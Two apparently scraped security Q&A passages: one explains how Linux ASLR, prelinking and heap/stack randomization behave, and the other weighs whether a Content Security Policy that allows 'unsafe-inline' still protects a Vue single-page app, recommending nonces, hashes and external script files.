When ASLR is applied in Linux, it usually is applied on a per-process basis. If you start the same process twice, then the DLL will be loaded at distinct addresses (and the main binary too, if it was compiled for PIE). This is easily witnessed by running the executable within gdb, and, indeed, when you are tracking bugs, the first thing you do is to disable ASLR.
Prelink, if applied, prevents ASLR (at least for DLL and binary; heap and stack positions may still be randomized). Prelink may counterbalance this by doing randomization itself, but, by construction, this will be fixed for each executable: a pre-linked executable will find its binary and DLL at the same places, always; however, other pre-linked executables on the same machine will see the same DLL at different addresses, and this is machine-specific, so other machines will obtain address spaces laid out differently. It is also recommended to do a new prelink regularly (e.g. on a weekly basis), which rerandomizes things (and you will get it for evey DLL upgrade, too).
Stack and heap are also randomized. The initial stack position, as well as the starting point for the heap (for brk() system calls), are chosen by the kernel upon process start, and each execution puts them at a new place (if ASLR is enabled). Also, the memory allocator may rely on mmap() (it will typically do so for large blocks), which is randomized, and this extends to thread stacks, which are dynamically allocated. By default, glibc will use mmap() calls for any block of more than 128 kB, and stacks for new threads default to 1 MB.
When a process is forked, the child necessarily obtains the same layout as its parent. However, DLL loaded after the fork may end up at distinct addresses.

Since all of these depend on the kernel version and patches, and configurable options, the answers to your question are thus necessarily distribution-dependent. For instance, you may see how things go in Ubuntu there (basically: ASLR everywhere, PIE for only a specific list of packages, no prelink). The only common point is that ASLR on Linux is never boot-dependent: when randomization is not applied for each process instance, then this is due to prelinking, which is permanent across reboots (but should be re-applied on a regular schedule).


Content Security Policy applied to Single Page Applications: Is it worth it with unsafe-inline? I have a website developed using VueJS (i.e. its a single page application). I've been looking at implementing Content Security Policy headers. As I tested out the header values I would need, I realised I would have to allow 'unsafe-inline' scripts, as this is fundamentally what my website is.

I've read around this a fair bit and found plenty of comments indicating that if I need to apply 'unsafe-inline', the CSP header really isn't going to do much for me.

So my question is; does applying 'unsafe-inline' render CSP more or less pointless? Does anyone have any good ideas of how to handle CSP on an SPA?

does applying 'unsafe-inline' render CSP more or less pointless?

Preventing XSS is one of the main benefits of a CSP. If you need to allow inline scripts, that benefit is mostly gone.

But there are still some situations where a CSP can prevent exploitation of issues. Examples:

Clickjacking: a CSP can prevent it
HTML injection: Even if no XSS can be gained, HTML injections can be used to exfiltrate data. A CSP may be able to mitigate some of the impact (by restricting form actions, images sources, etc)
CSS injection: If you don't have inline CSS, you can prevent CSS injection via CSP
even with unsafe-inline, a CSP may make XSS more difficult to exploit. The easiest way to exploit XSS is to include a remote script, as an attacker doesn't have to worry about length or special character restrictions in the payload
enforce content to be loaded via HTTPS

  Does anyone have any good ideas of how to handle CSP on an SPA?

The same way as with any application: Don't have inline scripts. Instead, you should have all your scripts in .js files, which you then include from a trusted origin (this actually seems easier to achieve in a SPA compared to a classic application which may have inline JavaScript all over the place).

You can also allow a specific script block using a nonce or hash source (which implemented correctly prevents XSS).

Even if you need to allow unsafe-inline for now, I'd still recommend implementing a CSP which is as restrictive as possible given the situation.

It will help you implement future features in a way compatible with a restrictive CSP. And when you get around to removing inline js, you just need to remove unsafe-inline from the CSP that you have in place already (instead of having multiple issues to worry about implementing a new CSP).